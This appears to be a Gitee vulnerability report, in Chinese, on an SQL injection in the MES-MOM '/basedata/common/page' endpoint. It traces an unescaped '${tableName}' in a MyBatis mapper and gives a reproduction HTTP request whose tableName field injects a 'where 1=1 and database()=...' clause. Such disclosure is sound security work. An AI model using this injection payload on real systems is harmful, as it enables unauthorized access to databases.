/basedata/common/page接口存在SQL注入

## 1、源码分析

1. 在`QueryTableNameDataMapper.xml`文件中的`${tableName}`没有进行预编译

![输入图片说明](https://foruda.gitee.com/images/1742146509120754843/95c49719_13734461.jpeg "1.jpg")

2. 在`QueryTableNameDataMapper.java`文件中定义了`queryTableNameDataList`接口

![输入图片说明](https://foruda.gitee.com/images/1742146577872326001/b266b6d4_13734461.jpeg "2.jpg")

3. 在`TableNameDataServiceImpl.java`文件中实现了`queryTableNameDataList`接口

![输入图片说明](https://foruda.gitee.com/images/1742146622055169003/8c00b7ec_13734461.jpeg "3.jpg")

4. 最后来到了`TableNameDataController.java`文件，这里就有路由控制

![输入图片说明](https://foruda.gitee.com/images/1742146667077774116/086c60c7_13734461.jpeg "4.jpg")

5. 最终路由确定

```
   /basedata/common/page
   ```

## 2、复现

1. 登录后台

2. 点击基础数据维护

![输入图片说明](https://foruda.gitee.com/images/1742146974012967921/81456267_13734461.jpeg "5.jpg")

3. 选择表进行查询抓包

![输入图片说明](https://foruda.gitee.com/images/1742146998035620341/de66d5db_13734461.jpeg "6.jpg")

4. 判断库名为：sparchetype

![输入图片说明](https://foruda.gitee.com/images/1742147023622860114/75abb024_13734461.jpeg "7.jpg")

5. 数据包如下

```
   POST /basedata/common/page HTTP/1.1
   Host: 127.0.0.1:9090
   Content-Length: 105
   sec-ch-ua: 
   Accept: application/json, text/javascript, */*; q=0.01
   Content-Type: application/x-www-form-urlencoded; charset=UTF-8
   X-Requested-With: XMLHttpRequest
   sec-ch-ua-mobile: ?0
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
   sec-ch-ua-platform: ""
   Origin: http://127.0.0.1:9090
   Sec-Fetch-Site: same-origin
   Sec-Fetch-Mode: cors
   Sec-Fetch-Dest: empty
   Accept-Encoding: gzip, deflate, br
   Accept-Language: zh-CN,zh;q=0.9
   Cookie: 登录之后的cookie
   Connection: close
   
   current=1&size=10&tableNameId=1283020801696837633&tableName=sp_bom where 1=1 and database()='sparchetype'
   ```

mes/MES-MOM

内容风险标识

评论 (0)

mes/MES-MOM .gitee-modal { width: 500px !important; }

内容风险标识